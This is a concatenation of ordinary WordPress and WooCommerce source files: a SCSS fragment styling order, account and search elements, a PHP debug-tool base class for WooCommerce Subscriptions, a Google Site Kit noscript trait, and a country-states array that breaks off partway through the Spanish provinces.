	ul.woocommerce-order-overview {
		font-size: var(--wp--preset--font-size--small);
		display: flex;
		padding-left: 0;
		width: 100%;

		li {
			display: inline;
			flex-grow: 1;
			margin-bottom: 1rem;
			text-transform: uppercase;

			strong {
				text-transform: none;
				display: block;
			}
		}

		@media only screen and (max-width: 768px) {
			flex-direction: column;
		}
	}

	.woocommerce-customer-details {
		address {
			padding: 2rem;
			border: 1px solid var(--wp--preset--color--black);
			font-style: inherit;

			p[class^='woocommerce-customer-details--'] {
				&:first-of-type {
					margin-top: 2rem;
				}

				margin-top: 1rem;
				margin-bottom: 0;
			}

			.woocommerce-customer-details--phone::before {
				content: '\01F4DE';
				margin-right: 1rem;
			}

			.woocommerce-customer-details--email::before {
				content: '\2709';
				margin-right: 1rem;
				font-size: 1.8rem;
			}
		}
	}

	.woocommerce-table--order-details {
		border: 1px solid var(--wp--preset--color--black);
		border-collapse: collapse;
		width: 70%;

		th, td {
			text-align: left;
			padding: 1rem;
			border-top: 1px solid var(--wp--preset--color--black);
			border-bottom: 1px solid var(--wp--preset--color--black);
			font-weight: normal;
		}

		thead th {
			text-transform: uppercase;
		}

		@media only screen and (max-width: 768px) {
			width: 100%;
		}
	}
}

.select2-container {

	.select2-selection,
	.select2-search__field {
		height: 3.5rem;
		font-size: var(--wp--preset--font-size--small);
		padding: .9rem 1.1rem;
	}

	.select2-selection,
	.select2-dropdown {
		border: 1px solid var(--wp--preset--color--black);
		border-radius: 0;
	}

	.select2-dropdown {
		border-top: 0;
		padding: .9rem 1.1rem;

		.select2-search__field {
			border: 1px solid var(--wp--preset--color--black);
			border-radius: 0;
			margin-bottom: 1rem;
		}
	}

	.select2-selection .select2-selection__arrow {
		height: 3.5rem;
		position: absolute;
		top: 0;
		right: 0;
		width: 3rem;
	}
}

/**
 * Account section
 */
.woocommerce-account {

	.woocommerce-MyAccount-navigation {

		ul {
			margin: 0;
			padding: 0;
		}

		li {
			list-style: none;
			padding: 1rem 0;

			&:first-child {
				padding-top: 0;
			}

			a {
				box-shadow: none;
				text-decoration: none;

				&:hover {
					text-decoration: underline;
				}
			}

			&.is-active {

				a {
					color: var( --wp--preset--color--primary );
					text-decoration: underline;
				}
			}
		}
	}

	.woocommerce-MyAccount-content {

		> p:first-of-type,
		p.form-row-first,
		p.form-row-last {
			margin-block-start: 0px;
		}
	}

	&.woocommerce-edit-address {

		.woocommerce-MyAccount-content {
			form > h3 {
				margin-block-start: 0px;
			}
		}
	}

	.woocommerce-form-login {
		max-width: 516px;
		margin: 0 auto;

		.show-password-input {
			top: .8rem;
			right: 1.2rem;
		}
	}
}

.wp-block-search {
	.wp-block-search__label {
		font-weight: normal;
	}
	.wp-block-search__input {
		padding: .9rem 1.1rem;
		border: 1px solid var(--wp--preset--color--black);
	}
	.wp-block-search__button {
		padding: 1rem 1.2rem;
	}
}

.wc-block-product-search {
	form {
		.wc-block-product-search__fields {
			display: flex;
			flex: auto;
			flex-wrap: nowrap;
			max-width: 100%;

			.wc-block-product-search__field {
				padding: .9rem 1.1rem;
				flex-grow: 1;
				border: 1px solid var(--wp--preset--color--black);
				font-size: inherit;
				font-family: inherit;
			}

			.wc-block-product-search__button {
				display: flex;
				background-color: var( --wp--preset--color--primary );
				color: #fff;
				border: 1px solid var(--wp--preset--color--black);
				padding: 1rem 1.2rem;
				margin: 0 0 0 .7rem;
			}
		}
	}
}

.woocommerce-store-notice {
	color: var(--wp--preset--color--black);
	border-top: 2px solid var( --wp--preset--color--primary );
	background: $tt2-gray;
	padding: 2rem;
	position: fixed;
	bottom: 0;
	left: 0;
	width: 100%;
	z-index: 999;
	margin: 0;

	.woocommerce-store-notice__dismiss-link {
		float: right;
		margin-right: 4rem;
	}
}

<?php
/**
 * Subscriptions Debug Tool
 *
 * Add tools for debugging and managing Subscriptions to the
 * WooCommerce > System Status > Tools administration screen.
 *
 * @author   Prospress
 * @category Admin
 * @package  WooCommerce Subscriptions/Admin
 * @version  2.3
 * @since    2.3
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
} // Exit if accessed directly

/**
 * WCS_Debug_Tool Class
 *
 * Add a debug tool to the WooCommerce > System Status > Tools page.
 */
abstract class WCS_Debug_Tool {

	/**
	 * @var string $tool_key The key used to add the tool to the array of available tools.
	 */
	protected $tool_key;

	/**
	 * @var array $tool_data Data for this tool, containing:
	 *  - 'name': The section name given to the tool
	 *  - 'button': The text displayed on the tool's button
	 *  - 'desc': The long description for the tool.
	 *  - 'callback': The callback used to perform the tool's action.
	 */
	protected $tool_data;

	/**
	 * Attach callbacks to hooks and validate required properties are assigned values.
	 */
	public function init() {

		if ( empty( $this->tool_key ) ) {
			throw new RuntimeException( __CLASS__ . ' must assign a tool key to $this->tool_key' );
		}

		if ( empty( $this->tool_data ) ) {
			throw new RuntimeException( __CLASS__ . ' must assign an array of data about the tool to $this->tool_data' );
		}

		add_filter( 'woocommerce_debug_tools', array( $this, 'add_debug_tools' ) );
	}

	/**
	 * Add subscription related tools to display on the WooCommerce > System Status > Tools administration screen
	 *
	 * @param array $tools Arrays defining the tools displayed on the System Status screen
	 * @return array
	 */
	public function add_debug_tools( $tools ) {
		$tools[ $this->tool_key ] = $this->tool_data;
		return $tools;
	}
}
<?php
/**
 * Trait Google\Site_Kit\Core\Util\Requires_Javascript_Trait
 *
 * @package   Google\Site_Kit\Core\Util
 * @copyright 2021 Google LLC
 * @license   https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0
 * @link      https://sitekit.withgoogle.com
 */

namespace Google\Site_Kit\Core\Util;

/**
 * Trait to display no javascript fallback message.
 *
 * @since 1.5.0
 * @access private
 * @ignore
 */
trait Requires_Javascript_Trait {

	/**
	 * Outputs a fallback message when Javascript is disabled.
	 *
	 * @since 1.5.0
	 */
	protected function render_noscript_html() {
		?>
			<noscript>
				<div class="googlesitekit-noscript notice notice-warning">
					<div class="mdc-layout-grid">
						<div class="mdc-layout-grid__inner">
							<div class="mdc-layout-grid__cell mdc-layout-grid__cell--span-12">
								<p class="googlesitekit-noscript__text">
									<?php
										esc_html_e( 'The Site Kit by Google plugin requires JavaScript to be enabled in your browser.', 'google-site-kit' )
									?>
								</p>
							</div>
						</div>
					</div>
				</div>
			</noscript>
		<?php
	}
}
<?php
/**
 * States
 *
 * Returns an array of country states. This deprecates and replaces the /states/ directory found in older versions.
 * States should be defined in English and translated native through localisation files.
 * Country codes and states (or province) names should follow the Unicode CLDR recommendation (http://cldr.unicode.org/translation/country-names).
 * Countries defined with empty arrays have no states.
 *
 * @package WooCommerce\i18n
 * @version 3.8.0
 */

defined( 'ABSPATH' ) || exit;

return array(
	'AF' => array(),
	'AO' => array( // Angola states.
		'BGO' => __( 'Bengo', 'woocommerce' ),
		'BLU' => __( 'Benguela', 'woocommerce' ),
		'BIE' => __( 'Bié', 'woocommerce' ),
		'CAB' => __( 'Cabinda', 'woocommerce' ),
		'CNN' => __( 'Cunene', 'woocommerce' ),
		'HUA' => __( 'Huambo', 'woocommerce' ),
		'HUI' => __( 'Huíla', 'woocommerce' ),
		'CCU' => __( 'Kuando Kubango', 'woocommerce' ),
		'CNO' => __( 'Kwanza-Norte', 'woocommerce' ),
		'CUS' => __( 'Kwanza-Sul', 'woocommerce' ),
		'LUA' => __( 'Luanda', 'woocommerce' ),
		'LNO' => __( 'Lunda-Norte', 'woocommerce' ),
		'LSU' => __( 'Lunda-Sul', 'woocommerce' ),
		'MAL' => __( 'Malanje', 'woocommerce' ),
		'MOX' => __( 'Moxico', 'woocommerce' ),
		'NAM' => __( 'Namibe', 'woocommerce' ),
		'UIG' => __( 'Uíge', 'woocommerce' ),
		'ZAI' => __( 'Zaire', 'woocommerce' ),
	),
	'AR' => array( // Argentinian provinces.
		'C' => __( 'Ciudad Autónoma de Buenos Aires', 'woocommerce' ),
		'B' => __( 'Buenos Aires', 'woocommerce' ),
		'K' => __( 'Catamarca', 'woocommerce' ),
		'H' => __( 'Chaco', 'woocommerce' ),
		'U' => __( 'Chubut', 'woocommerce' ),
		'X' => __( 'Córdoba', 'woocommerce' ),
		'W' => __( 'Corrientes', 'woocommerce' ),
		'E' => __( 'Entre Ríos', 'woocommerce' ),
		'P' => __( 'Formosa', 'woocommerce' ),
		'Y' => __( 'Jujuy', 'woocommerce' ),
		'L' => __( 'La Pampa', 'woocommerce' ),
		'F' => __( 'La Rioja', 'woocommerce' ),
		'M' => __( 'Mendoza', 'woocommerce' ),
		'N' => __( 'Misiones', 'woocommerce' ),
		'Q' => __( 'Neuquén', 'woocommerce' ),
		'R' => __( 'Río Negro', 'woocommerce' ),
		'A' => __( 'Salta', 'woocommerce' ),
		'J' => __( 'San Juan', 'woocommerce' ),
		'D' => __( 'San Luis', 'woocommerce' ),
		'Z' => __( 'Santa Cruz', 'woocommerce' ),
		'S' => __( 'Santa Fe', 'woocommerce' ),
		'G' => __( 'Santiago del Estero', 'woocommerce' ),
		'V' => __( 'Tierra del Fuego', 'woocommerce' ),
		'T' => __( 'Tucumán', 'woocommerce' ),
	),
	'AT' => array(),
	'AU' => array( // Australian states.
		'ACT' => __( 'Australian Capital Territory', 'woocommerce' ),
		'NSW' => __( 'New South Wales', 'woocommerce' ),
		'NT'  => __( 'Northern Territory', 'woocommerce' ),
		'QLD' => __( 'Queensland', 'woocommerce' ),
		'SA'  => __( 'South Australia', 'woocommerce' ),
		'TAS' => __( 'Tasmania', 'woocommerce' ),
		'VIC' => __( 'Victoria', 'woocommerce' ),
		'WA'  => __( 'Western Australia', 'woocommerce' ),
	),
	'AX' => array(),
	'BD' => array( // Bangladeshi states (districts).
		'BD-05' => __( 'Bagerhat', 'woocommerce' ),
		'BD-01' => __( 'Bandarban', 'woocommerce' ),
		'BD-02' => __( 'Barguna', 'woocommerce' ),
		'BD-06' => __( 'Barishal', 'woocommerce' ),
		'BD-07' => __( 'Bhola', 'woocommerce' ),
		'BD-03' => __( 'Bogura', 'woocommerce' ),
		'BD-04' => __( 'Brahmanbaria', 'woocommerce' ),
		'BD-09' => __( 'Chandpur', 'woocommerce' ),
		'BD-10' => __( 'Chattogram', 'woocommerce' ),
		'BD-12' => __( 'Chuadanga', 'woocommerce' ),
		'BD-11' => __( "Cox's Bazar", 'woocommerce' ),
		'BD-08' => __( 'Cumilla', 'woocommerce' ),
		'BD-13' => __( 'Dhaka', 'woocommerce' ),
		'BD-14' => __( 'Dinajpur', 'woocommerce' ),
		'BD-15' => __( 'Faridpur ', 'woocommerce' ),
		'BD-16' => __( 'Feni', 'woocommerce' ),
		'BD-19' => __( 'Gaibandha', 'woocommerce' ),
		'BD-18' => __( 'Gazipur', 'woocommerce' ),
		'BD-17' => __( 'Gopalganj', 'woocommerce' ),
		'BD-20' => __( 'Habiganj', 'woocommerce' ),
		'BD-21' => __( 'Jamalpur', 'woocommerce' ),
		'BD-22' => __( 'Jashore', 'woocommerce' ),
		'BD-25' => __( 'Jhalokati', 'woocommerce' ),
		'BD-23' => __( 'Jhenaidah', 'woocommerce' ),
		'BD-24' => __( 'Joypurhat', 'woocommerce' ),
		'BD-29' => __( 'Khagrachhari', 'woocommerce' ),
		'BD-27' => __( 'Khulna', 'woocommerce' ),
		'BD-26' => __( 'Kishoreganj', 'woocommerce' ),
		'BD-28' => __( 'Kurigram', 'woocommerce' ),
		'BD-30' => __( 'Kushtia', 'woocommerce' ),
		'BD-31' => __( 'Lakshmipur', 'woocommerce' ),
		'BD-32' => __( 'Lalmonirhat', 'woocommerce' ),
		'BD-36' => __( 'Madaripur', 'woocommerce' ),
		'BD-37' => __( 'Magura', 'woocommerce' ),
		'BD-33' => __( 'Manikganj ', 'woocommerce' ),
		'BD-39' => __( 'Meherpur', 'woocommerce' ),
		'BD-38' => __( 'Moulvibazar', 'woocommerce' ),
		'BD-35' => __( 'Munshiganj', 'woocommerce' ),
		'BD-34' => __( 'Mymensingh', 'woocommerce' ),
		'BD-48' => __( 'Naogaon', 'woocommerce' ),
		'BD-43' => __( 'Narail', 'woocommerce' ),
		'BD-40' => __( 'Narayanganj', 'woocommerce' ),
		'BD-42' => __( 'Narsingdi', 'woocommerce' ),
		'BD-44' => __( 'Natore', 'woocommerce' ),
		'BD-45' => __( 'Nawabganj', 'woocommerce' ),
		'BD-41' => __( 'Netrakona', 'woocommerce' ),
		'BD-46' => __( 'Nilphamari', 'woocommerce' ),
		'BD-47' => __( 'Noakhali', 'woocommerce' ),
		'BD-49' => __( 'Pabna', 'woocommerce' ),
		'BD-52' => __( 'Panchagarh', 'woocommerce' ),
		'BD-51' => __( 'Patuakhali', 'woocommerce' ),
		'BD-50' => __( 'Pirojpur', 'woocommerce' ),
		'BD-53' => __( 'Rajbari', 'woocommerce' ),
		'BD-54' => __( 'Rajshahi', 'woocommerce' ),
		'BD-56' => __( 'Rangamati', 'woocommerce' ),
		'BD-55' => __( 'Rangpur', 'woocommerce' ),
		'BD-58' => __( 'Satkhira', 'woocommerce' ),
		'BD-62' => __( 'Shariatpur', 'woocommerce' ),
		'BD-57' => __( 'Sherpur', 'woocommerce' ),
		'BD-59' => __( 'Sirajganj', 'woocommerce' ),
		'BD-61' => __( 'Sunamganj', 'woocommerce' ),
		'BD-60' => __( 'Sylhet', 'woocommerce' ),
		'BD-63' => __( 'Tangail', 'woocommerce' ),
		'BD-64' => __( 'Thakurgaon', 'woocommerce' ),
	),
	'BE' => array(),
	'BG' => array( // Bulgarian states.
		'BG-01' => __( 'Blagoevgrad', 'woocommerce' ),
		'BG-02' => __( 'Burgas', 'woocommerce' ),
		'BG-08' => __( 'Dobrich', 'woocommerce' ),
		'BG-07' => __( 'Gabrovo', 'woocommerce' ),
		'BG-26' => __( 'Haskovo', 'woocommerce' ),
		'BG-09' => __( 'Kardzhali', 'woocommerce' ),
		'BG-10' => __( 'Kyustendil', 'woocommerce' ),
		'BG-11' => __( 'Lovech', 'woocommerce' ),
		'BG-12' => __( 'Montana', 'woocommerce' ),
		'BG-13' => __( 'Pazardzhik', 'woocommerce' ),
		'BG-14' => __( 'Pernik', 'woocommerce' ),
		'BG-15' => __( 'Pleven', 'woocommerce' ),
		'BG-16' => __( 'Plovdiv', 'woocommerce' ),
		'BG-17' => __( 'Razgrad', 'woocommerce' ),
		'BG-18' => __( 'Ruse', 'woocommerce' ),
		'BG-27' => __( 'Shumen', 'woocommerce' ),
		'BG-19' => __( 'Silistra', 'woocommerce' ),
		'BG-20' => __( 'Sliven', 'woocommerce' ),
		'BG-21' => __( 'Smolyan', 'woocommerce' ),
		'BG-23' => __( 'Sofia', 'woocommerce' ),
		'BG-22' => __( 'Sofia-Grad', 'woocommerce' ),
		'BG-24' => __( 'Stara Zagora', 'woocommerce' ),
		'BG-25' => __( 'Targovishte', 'woocommerce' ),
		'BG-03' => __( 'Varna', 'woocommerce' ),
		'BG-04' => __( 'Veliko Tarnovo', 'woocommerce' ),
		'BG-05' => __( 'Vidin', 'woocommerce' ),
		'BG-06' => __( 'Vratsa', 'woocommerce' ),
		'BG-28' => __( 'Yambol', 'woocommerce' ),
	),
	'BH' => array(),
	'BI' => array(),
	'BJ' => array( // Benin states.
		'AL' => __( 'Alibori', 'woocommerce' ),
		'AK' => __( 'Atakora', 'woocommerce' ),
		'AQ' => __( 'Atlantique', 'woocommerce' ),
		'BO' => __( 'Borgou', 'woocommerce' ),
		'CO' => __( 'Collines', 'woocommerce' ),
		'KO' => __( 'Kouffo', 'woocommerce' ),
		'DO' => __( 'Donga', 'woocommerce' ),
		'LI' => __( 'Littoral', 'woocommerce' ),
		'MO' => __( 'Mono', 'woocommerce' ),
		'OU' => __( 'Ouémé', 'woocommerce' ),
		'PL' => __( 'Plateau', 'woocommerce' ),
		'ZO' => __( 'Zou', 'woocommerce' ),
	),
	'BO' => array( // Bolivian states.
		'B' => __( 'Chuquisaca', 'woocommerce' ),
		'H' => __( 'Beni', 'woocommerce' ),
		'C' => __( 'Cochabamba', 'woocommerce' ),
		'L' => __( 'La Paz', 'woocommerce' ),
		'O' => __( 'Oruro', 'woocommerce' ),
		'N' => __( 'Pando', 'woocommerce' ),
		'P' => __( 'Potosí', 'woocommerce' ),
		'S' => __( 'Santa Cruz', 'woocommerce' ),
		'T' => __( 'Tarija', 'woocommerce' ),
	),
	'BR' => array( // Brazillian states.
		'AC' => __( 'Acre', 'woocommerce' ),
		'AL' => __( 'Alagoas', 'woocommerce' ),
		'AP' => __( 'Amapá', 'woocommerce' ),
		'AM' => __( 'Amazonas', 'woocommerce' ),
		'BA' => __( 'Bahia', 'woocommerce' ),
		'CE' => __( 'Ceará', 'woocommerce' ),
		'DF' => __( 'Distrito Federal', 'woocommerce' ),
		'ES' => __( 'Espírito Santo', 'woocommerce' ),
		'GO' => __( 'Goiás', 'woocommerce' ),
		'MA' => __( 'Maranhão', 'woocommerce' ),
		'MT' => __( 'Mato Grosso', 'woocommerce' ),
		'MS' => __( 'Mato Grosso do Sul', 'woocommerce' ),
		'MG' => __( 'Minas Gerais', 'woocommerce' ),
		'PA' => __( 'Pará', 'woocommerce' ),
		'PB' => __( 'Paraíba', 'woocommerce' ),
		'PR' => __( 'Paraná', 'woocommerce' ),
		'PE' => __( 'Pernambuco', 'woocommerce' ),
		'PI' => __( 'Piauí', 'woocommerce' ),
		'RJ' => __( 'Rio de Janeiro', 'woocommerce' ),
		'RN' => __( 'Rio Grande do Norte', 'woocommerce' ),
		'RS' => __( 'Rio Grande do Sul', 'woocommerce' ),
		'RO' => __( 'Rondônia', 'woocommerce' ),
		'RR' => __( 'Roraima', 'woocommerce' ),
		'SC' => __( 'Santa Catarina', 'woocommerce' ),
		'SP' => __( 'São Paulo', 'woocommerce' ),
		'SE' => __( 'Sergipe', 'woocommerce' ),
		'TO' => __( 'Tocantins', 'woocommerce' ),
	),
	'CA' => array( // Canadian states.
		'AB' => __( 'Alberta', 'woocommerce' ),
		'BC' => __( 'British Columbia', 'woocommerce' ),
		'MB' => __( 'Manitoba', 'woocommerce' ),
		'NB' => __( 'New Brunswick', 'woocommerce' ),
		'NL' => __( 'Newfoundland and Labrador', 'woocommerce' ),
		'NT' => __( 'Northwest Territories', 'woocommerce' ),
		'NS' => __( 'Nova Scotia', 'woocommerce' ),
		'NU' => __( 'Nunavut', 'woocommerce' ),
		'ON' => __( 'Ontario', 'woocommerce' ),
		'PE' => __( 'Prince Edward Island', 'woocommerce' ),
		'QC' => __( 'Quebec', 'woocommerce' ),
		'SK' => __( 'Saskatchewan', 'woocommerce' ),
		'YT' => __( 'Yukon Territory', 'woocommerce' ),
	),
	'CH' => array( // Cantons of Switzerland.
		'AG' => __( 'Aargau', 'woocommerce' ),
		'AR' => __( 'Appenzell Ausserrhoden', 'woocommerce' ),
		'AI' => __( 'Appenzell Innerrhoden', 'woocommerce' ),
		'BL' => __( 'Basel-Landschaft', 'woocommerce' ),
		'BS' => __( 'Basel-Stadt', 'woocommerce' ),
		'BE' => __( 'Bern', 'woocommerce' ),
		'FR' => __( 'Fribourg', 'woocommerce' ),
		'GE' => __( 'Geneva', 'woocommerce' ),
		'GL' => __( 'Glarus', 'woocommerce' ),
		'GR' => __( 'Graubünden', 'woocommerce' ),
		'JU' => __( 'Jura', 'woocommerce' ),
		'LU' => __( 'Luzern', 'woocommerce' ),
		'NE' => __( 'Neuchâtel', 'woocommerce' ),
		'NW' => __( 'Nidwalden', 'woocommerce' ),
		'OW' => __( 'Obwalden', 'woocommerce' ),
		'SH' => __( 'Schaffhausen', 'woocommerce' ),
		'SZ' => __( 'Schwyz', 'woocommerce' ),
		'SO' => __( 'Solothurn', 'woocommerce' ),
		'SG' => __( 'St. Gallen', 'woocommerce' ),
		'TG' => __( 'Thurgau', 'woocommerce' ),
		'TI' => __( 'Ticino', 'woocommerce' ),
		'UR' => __( 'Uri', 'woocommerce' ),
		'VS' => __( 'Valais', 'woocommerce' ),
		'VD' => __( 'Vaud', 'woocommerce' ),
		'ZG' => __( 'Zug', 'woocommerce' ),
		'ZH' => __( 'Zürich', 'woocommerce' ),
	),
	'CN' => array( // Chinese states.
		'CN1'  => __( 'Yunnan / 云南', 'woocommerce' ),
		'CN2'  => __( 'Beijing / 北京', 'woocommerce' ),
		'CN3'  => __( 'Tianjin / 天津', 'woocommerce' ),
		'CN4'  => __( 'Hebei / 河北', 'woocommerce' ),
		'CN5'  => __( 'Shanxi / 山西', 'woocommerce' ),
		'CN6'  => __( 'Inner Mongolia / 內蒙古', 'woocommerce' ),
		'CN7'  => __( 'Liaoning / 辽宁', 'woocommerce' ),
		'CN8'  => __( 'Jilin / 吉林', 'woocommerce' ),
		'CN9'  => __( 'Heilongjiang / 黑龙江', 'woocommerce' ),
		'CN10' => __( 'Shanghai / 上海', 'woocommerce' ),
		'CN11' => __( 'Jiangsu / 江苏', 'woocommerce' ),
		'CN12' => __( 'Zhejiang / 浙江', 'woocommerce' ),
		'CN13' => __( 'Anhui / 安徽', 'woocommerce' ),
		'CN14' => __( 'Fujian / 福建', 'woocommerce' ),
		'CN15' => __( 'Jiangxi / 江西', 'woocommerce' ),
		'CN16' => __( 'Shandong / 山东', 'woocommerce' ),
		'CN17' => __( 'Henan / 河南', 'woocommerce' ),
		'CN18' => __( 'Hubei / 湖北', 'woocommerce' ),
		'CN19' => __( 'Hunan / 湖南', 'woocommerce' ),
		'CN20' => __( 'Guangdong / 广东', 'woocommerce' ),
		'CN21' => __( 'Guangxi Zhuang / 广西壮族', 'woocommerce' ),
		'CN22' => __( 'Hainan / 海南', 'woocommerce' ),
		'CN23' => __( 'Chongqing / 重庆', 'woocommerce' ),
		'CN24' => __( 'Sichuan / 四川', 'woocommerce' ),
		'CN25' => __( 'Guizhou / 贵州', 'woocommerce' ),
		'CN26' => __( 'Shaanxi / 陕西', 'woocommerce' ),
		'CN27' => __( 'Gansu / 甘肃', 'woocommerce' ),
		'CN28' => __( 'Qinghai / 青海', 'woocommerce' ),
		'CN29' => __( 'Ningxia Hui / 宁夏', 'woocommerce' ),
		'CN30' => __( 'Macao / 澳门', 'woocommerce' ),
		'CN31' => __( 'Tibet / 西藏', 'woocommerce' ),
		'CN32' => __( 'Xinjiang / 新疆', 'woocommerce' ),
	),
	'CZ' => array(),
	'DE' => array(),
	'DK' => array(),
	'DO' => array( // Dominican Republic.
		'DO-01' => __( 'Distrito Nacional', 'woocommerce' ),
		'DO-02' => __( 'Azua', 'woocommerce' ),
		'DO-03' => __( 'Baoruco', 'woocommerce' ),
		'DO-04' => __( 'Barahona', 'woocommerce' ),
		'DO-05' => __( 'Dajabón', 'woocommerce' ),
		'DO-06' => __( 'Duarte', 'woocommerce' ),
		'DO-07' => __( 'Elías Piña', 'woocommerce' ),
		'DO-08' => __( 'El Seibo', 'woocommerce' ),
		'DO-09' => __( 'Espaillat', 'woocommerce' ),
		'DO-10' => __( 'Independencia', 'woocommerce' ),
		'DO-11' => __( 'La Altagracia', 'woocommerce' ),
		'DO-12' => __( 'La Romana', 'woocommerce' ),
		'DO-13' => __( 'La Vega', 'woocommerce' ),
		'DO-14' => __( 'María Trinidad Sánchez', 'woocommerce' ),
		'DO-15' => __( 'Monte Cristi', 'woocommerce' ),
		'DO-16' => __( 'Pedernales', 'woocommerce' ),
		'DO-17' => __( 'Peravia', 'woocommerce' ),
		'DO-18' => __( 'Puerto Plata', 'woocommerce' ),
		'DO-19' => __( 'Hermanas Mirabal', 'woocommerce' ),
		'DO-20' => __( 'Samaná', 'woocommerce' ),
		'DO-21' => __( 'San Cristóbal', 'woocommerce' ),
		'DO-22' => __( 'San Juan', 'woocommerce' ),
		'DO-23' => __( 'San Pedro de Macorís', 'woocommerce' ),
		'DO-24' => __( 'Sánchez Ramírez', 'woocommerce' ),
		'DO-25' => __( 'Santiago', 'woocommerce' ),
		'DO-26' => __( 'Santiago Rodríguez', 'woocommerce' ),
		'DO-27' => __( 'Valverde', 'woocommerce' ),
		'DO-28' => __( 'Monseñor Nouel', 'woocommerce' ),
		'DO-29' => __( 'Monte Plata', 'woocommerce' ),
		'DO-30' => __( 'Hato Mayor', 'woocommerce' ),
		'DO-31' => __( 'San José de Ocoa', 'woocommerce' ),
		'DO-32' => __( 'Santo Domingo', 'woocommerce' ),
	),
	'DZ' => array(
		'DZ-01' => __( 'Adrar', 'woocommerce' ),
		'DZ-02' => __( 'Chlef', 'woocommerce' ),
		'DZ-03' => __( 'Laghouat', 'woocommerce' ),
		'DZ-04' => __( 'Oum El Bouaghi', 'woocommerce' ),
		'DZ-05' => __( 'Batna', 'woocommerce' ),
		'DZ-06' => __( 'Béjaïa', 'woocommerce' ),
		'DZ-07' => __( 'Biskra', 'woocommerce' ),
		'DZ-08' => __( 'Béchar', 'woocommerce' ),
		'DZ-09' => __( 'Blida', 'woocommerce' ),
		'DZ-10' => __( 'Bouira', 'woocommerce' ),
		'DZ-11' => __( 'Tamanghasset', 'woocommerce' ),
		'DZ-12' => __( 'Tébessa', 'woocommerce' ),
		'DZ-13' => __( 'Tlemcen', 'woocommerce' ),
		'DZ-14' => __( 'Tiaret', 'woocommerce' ),
		'DZ-15' => __( 'Tizi Ouzou', 'woocommerce' ),
		'DZ-16' => __( 'Algiers', 'woocommerce' ),
		'DZ-17' => __( 'Djelfa', 'woocommerce' ),
		'DZ-18' => __( 'Jijel', 'woocommerce' ),
		'DZ-19' => __( 'Sétif', 'woocommerce' ),
		'DZ-20' => __( 'Saïda', 'woocommerce' ),
		'DZ-21' => __( 'Skikda', 'woocommerce' ),
		'DZ-22' => __( 'Sidi Bel Abbès', 'woocommerce' ),
		'DZ-23' => __( 'Annaba', 'woocommerce' ),
		'DZ-24' => __( 'Guelma', 'woocommerce' ),
		'DZ-25' => __( 'Constantine', 'woocommerce' ),
		'DZ-26' => __( 'Médéa', 'woocommerce' ),
		'DZ-27' => __( 'Mostaganem', 'woocommerce' ),
		'DZ-28' => __( 'M’Sila', 'woocommerce' ),
		'DZ-29' => __( 'Mascara', 'woocommerce' ),
		'DZ-30' => __( 'Ouargla', 'woocommerce' ),
		'DZ-31' => __( 'Oran', 'woocommerce' ),
		'DZ-32' => __( 'El Bayadh', 'woocommerce' ),
		'DZ-33' => __( 'Illizi', 'woocommerce' ),
		'DZ-34' => __( 'Bordj Bou Arréridj', 'woocommerce' ),
		'DZ-35' => __( 'Boumerdès', 'woocommerce' ),
		'DZ-36' => __( 'El Tarf', 'woocommerce' ),
		'DZ-37' => __( 'Tindouf', 'woocommerce' ),
		'DZ-38' => __( 'Tissemsilt', 'woocommerce' ),
		'DZ-39' => __( 'El Oued', 'woocommerce' ),
		'DZ-40' => __( 'Khenchela', 'woocommerce' ),
		'DZ-41' => __( 'Souk Ahras', 'woocommerce' ),
		'DZ-42' => __( 'Tipasa', 'woocommerce' ),
		'DZ-43' => __( 'Mila', 'woocommerce' ),
		'DZ-44' => __( 'Aïn Defla', 'woocommerce' ),
		'DZ-45' => __( 'Naama', 'woocommerce' ),
		'DZ-46' => __( 'Aïn Témouchent', 'woocommerce' ),
		'DZ-47' => __( 'Ghardaïa', 'woocommerce' ),
		'DZ-48' => __( 'Relizane', 'woocommerce' ),
	),
	'EE' => array(),
	'EG' => array( // Egypt states.
		'EGALX' => __( 'Alexandria', 'woocommerce' ),
		'EGASN' => __( 'Aswan', 'woocommerce' ),
		'EGAST' => __( 'Asyut', 'woocommerce' ),
		'EGBA'  => __( 'Red Sea', 'woocommerce' ),
		'EGBH'  => __( 'Beheira', 'woocommerce' ),
		'EGBNS' => __( 'Beni Suef', 'woocommerce' ),
		'EGC'   => __( 'Cairo', 'woocommerce' ),
		'EGDK'  => __( 'Dakahlia', 'woocommerce' ),
		'EGDT'  => __( 'Damietta', 'woocommerce' ),
		'EGFYM' => __( 'Faiyum', 'woocommerce' ),
		'EGGH'  => __( 'Gharbia', 'woocommerce' ),
		'EGGZ'  => __( 'Giza', 'woocommerce' ),
		'EGIS'  => __( 'Ismailia', 'woocommerce' ),
		'EGJS'  => __( 'South Sinai', 'woocommerce' ),
		'EGKB'  => __( 'Qalyubia', 'woocommerce' ),
		'EGKFS' => __( 'Kafr el-Sheikh', 'woocommerce' ),
		'EGKN'  => __( 'Qena', 'woocommerce' ),
		'EGLX'  => __( 'Luxor', 'woocommerce' ),
		'EGMN'  => __( 'Minya', 'woocommerce' ),
		'EGMNF' => __( 'Monufia', 'woocommerce' ),
		'EGMT'  => __( 'Matrouh', 'woocommerce' ),
		'EGPTS' => __( 'Port Said', 'woocommerce' ),
		'EGSHG' => __( 'Sohag', 'woocommerce' ),
		'EGSHR' => __( 'Al Sharqia', 'woocommerce' ),
		'EGSIN' => __( 'North Sinai', 'woocommerce' ),
		'EGSUZ' => __( 'Suez', 'woocommerce' ),
		'EGWAD' => __( 'New Valley', 'woocommerce' ),
	),
	'ES' => array( // Spanish states.
		'C'  => __( 'A Coruña', 'woocommerce' ),
		'VI' => __( 'Araba/Álava', 'woocommerce' ),
		'AB' => __( 'Albacete', 'woocommerce' ),
		'A'  => __( 'Alicante', 'woocommerce' ),
		'AL' => __( 'Almería', 'woocommerce' ),
		'O'  => __( 'Asturias', 'woocommerce' ),
		'AV' => __( 'Ávila', 'woocommerce' ),
		'BA' => __( 'Badajoz', 'woocommerce' ),
		'PM' => __( 'Baleares', 'woocommerce' ),
		'B'  => __( 'Barcelona', 'woocommerce' ),
		'BU' => __( 'Burgos', 'woocommerce' ),
		'CC' => __( 'Cáceres', 'woocommerce' ),
		'CA' => __( 'Cádiz', 'woocommerce' ),
		'S'  => __( 'Cantabria', 'woocommerce' ),
		'CS' => __( 'Castellón', 'woocommerce' ),
		'CE' => __( 'Ceuta', 'woocommerce' ),
		'CR' => __( 'Ciudad Real', 'woocommerce' ),
		'CO' => __( 'Córdoba', 'woocommerce' ),
		'CU' => __( 'Cuenca', 'woocommerce' ),
